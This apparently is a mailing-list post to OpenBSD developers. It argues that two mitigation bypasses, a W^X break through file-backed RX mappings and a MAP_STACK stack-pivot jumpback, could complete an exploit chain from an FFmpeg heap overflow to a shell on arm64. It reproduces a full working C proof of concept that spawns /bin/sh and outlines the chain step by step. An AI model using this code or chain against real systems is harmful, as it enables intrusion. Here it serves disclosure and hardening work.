Hello,

Disclaimer: I used Claude to organize my thoughts on this.

This is a follow-up to the thread from January [1] which raised two separate 
issues: a MAP_STACK bypass via stack pivot jumpback, originally discussed by 
Ali Polatel on oss-security [2], and a W^X break via file-backed RX mapping, 
originally reported against HardenedBSD [3] and confirmed working on OpenBSD in 
the same thread.

The discussion in that thread concluded with the observation that "the burglar 
is already inside the house" — implying these techniques require prior code 
execution and are therefore not independently significant. I'd like to offer a 
concrete counterexample to that framing.

CVE-2026-8461 (PixelSmash), disclosed last week, is a heap out-of-bounds write 
in FFmpeg's MagicYUV decoder affecting any application using libavcodec, 
including applications that process untrusted AVI, MKV, or MOV files. JFrog 
demonstrated remote code execution against Jellyfin on Linux by corrupting the 
AVBuffer.free function pointer via a crafted 50KB media file delivered to an 
automated library scan pipeline — no user interaction beyond file delivery 
required.

On OpenBSD, several mitigations raise the bar considerably: omalloc's heap 
layout randomization, ASLR, RetGuard, IBT/BTI on capable hardware, pinsyscalls, 
mimmutable, and library relinking collectively make the Linux exploit technique 
not directly portable. However, on arm64 hardware without PAC, BTI, or 
hardware-enforced CFI — which describes a wide range of commonly deployed arm64 
hardware — the two techniques from the January thread become directly relevant 
as the missing links completing a realistic exploit chain from that initial 
heap corruption primitive.

W^X bypass via file-backed RX mapping

The original HardenedBSD GitLab issue [3] is no longer accessible — HardenedBSD 
has since migrated from GitLab to Radicle [4]. However, the technique was 
confirmed working on OpenBSD arm64 in the January thread, and a subsequent 
update by the author confirmed it pops a shell despite pinsyscalls via a libc 
trampoline. The PoC (authored by Ali Polatel <[email protected]>, reproduced 
here for archival purposes as the original link is broken) is as follows:

```c
// poc_wx_bypass.c
//
// Proof-of-Concept: W^X bypass via file-backed RX mapping
// Author: Ali Polatel <[email protected]>

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

static char *shell_path = "/bin/sh";
static char **shell_argv;
static char **shell_envp;

static void __attribute__((noinline)) exec_shell(void)
{
        execve(shell_path, shell_argv, shell_envp);
        _exit(127);
}

#if defined(__x86_64__)
static unsigned char trampoline_code[] = {
        0xc3 /* ret */
};
#elif defined(__aarch64__)
static unsigned char trampoline_code[] = {
        0xc0, 0x03, 0x5f, 0xd6 /* ret (uses x30/lr) */
};
#elif defined(__i386__)
static unsigned char trampoline_code[] = {
        0xc3 /* ret */
};
#else
#error "Architecture not supported. Please implement trampoline code."
#endif

static void __attribute__((noinline, noreturn))
call_trampoline(void *code_addr)
{
#if defined(__x86_64__)
        asm volatile("push %0\n\t"
                    "jmp *%1\n\t"
                    :
                    : "r"((uintptr_t)exec_shell), "r"(code_addr)
                    : "memory");
#elif defined(__aarch64__)
        asm volatile("mov x30, %0\n\t"
                    "br %1\n\t"
                    :
                    : "r"((uintptr_t)exec_shell), "r"(code_addr)
                    : "x30", "memory");
#elif defined(__i386__)
        asm volatile("push %0\n\t"
                    "jmp *%1\n\t"
                    :
                    : "r"((uintptr_t)exec_shell), "r"(code_addr)
                    : "memory");
#else
#error "Architecture not supported."
#endif
        __builtin_unreachable();
}

int main(int argc, char **argv, char **envp)
{
        const char *path = "./mmap";
        int fd;
        void *addr;
        size_t len;

        /* Set up shell arguments. */
        static char *default_argv[] = {"/bin/sh", NULL};
        shell_argv = (argc > 1) ? &argv[1] : default_argv;
        shell_envp = envp;

        /* Create backing file. */
        fd = open(path, O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);
        if (fd < 0) {
                perror("open");
                exit(EXIT_FAILURE);
        }

        /* Map RX.
        * MAP_PRIVATE isn't necessary, MAP_SHARED works too...
        */
        len = sizeof(trampoline_code);
        addr = mmap(NULL, len, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) {
                perror("mmap");
                close(fd);
                unlink(path);
                exit(EXIT_FAILURE);
        }

        /* Overwrite backing file. */
        if (lseek(fd, 0, SEEK_SET) < 0 ||
            write(fd, trampoline_code, len) != (ssize_t)len) {
                perror("write");
                munmap(addr, len);
                close(fd);
                unlink(path);
                exit(EXIT_FAILURE);
        }

        /* Close file:
        * This will sync the contents to the RO-memory area,
        * which breaks W^X! */
        close(fd);

        /* Jump into RX mapping! */
        call_trampoline(addr);

        /* Cleanup (not reached if shell succeeds). */
        munmap(addr, len);
        unlink(path);
        return EXIT_FAILURE;
}
```

The technique maps a file RX, then writes attacker-controlled code to the file 
descriptor — never holding write and execute permissions on the same mapping 
simultaneously — then closes the file, syncing the content into the RX mapping. 
W^X is never technically violated at the mmap level, but executable 
attacker-controlled code results. Pinsyscalls is addressed by routing through a 
legitimate libc trampoline rather than calling execve directly from injected 
code.

HardenedBSD addressed this class of issue in their August 2025 status report 
[5] by integrating Trusted Path Execution with mmap(PROT_EXEC) on file-backed 
mappings. OpenBSD has no equivalent protection.

MAP_STACK bypass via stack pivot jumpback

Ali Polatel's stack pivot jumpback bypass [6] sidesteps MAP_STACK detection by 
pivoting to a heap-allocated stack for intermediate work, then pivoting back to 
the original legitimate stack before making any syscall. The kernel's SP check 
at the syscall boundary never sees an invalid stack pointer. This was confirmed 
working on OpenBSD arm64 in the January thread. Crucially, no syscalls are made 
while on the heap stack — as noted in the thread, the bypass specifically 
avoids crossing any syscall boundary while off the legitimate stack.

**In combination**

In the context of PixelSmash on arm64 without PAC/BTI:

- The heap overflow primitive corrupts AVBuffer.free to redirect control flow
- omalloc and ASLR require a precise info leak — the FlashSV decoder bug noted 
in the JFrog writeup is a candidate, though chaining it reliably to reveal 
specific heap object addresses requires further research
- With control flow redirected, the stack pivot jumpback technique provides a 
path to execute arbitrary code while evading MAP_STACK detection
- The file-backed RX mapping bypass provides a means to get attacker-controlled 
code into an executable mapping without violating W^X
- The libc trampoline approach routes execve through the pinned libc stub, 
satisfying pinsyscalls

The result is a plausible path from an unauthenticated media file to a shell on 
an OpenBSD arm64 system running a vulnerable FFmpeg version, on hardware that 
is in common use.

The immediate mitigation is to update FFmpeg to 8.1.2 and avoid automated 
processing of untrusted media. The underlying gaps in MAP_STACK enforcement and 
W^X via file-backed mappings remain open questions.

Is there interest in addressing either of these, or a technical reason they are 
considered out of scope?

With respect,
Nibletz

[1] https://go.mail-archive.com/[email protected]/msg196619.html
[2] https://seclists.org/oss-sec/2026/q1/48
[3] https://git.hardenedbsd.org/hardenedbsd/HardenedBSD/-/issues/107 (no longer 
accessible — HardenedBSD migrated to Radicle)
[4] 
https://hardenedbsd.org/article/shawn-webb/2026-04-26/hardenedbsd-officially-radicle
[5] 
https://hardenedbsd.org/article/shawn-webb/2025-08-30/hardenedbsd-august-2025-status-report
[6] 
https://gitlab.exherbo.org/sydbox/sydbox/-/blob/main/dev/stackpivot-jumpback-bypass.c

Reply via email to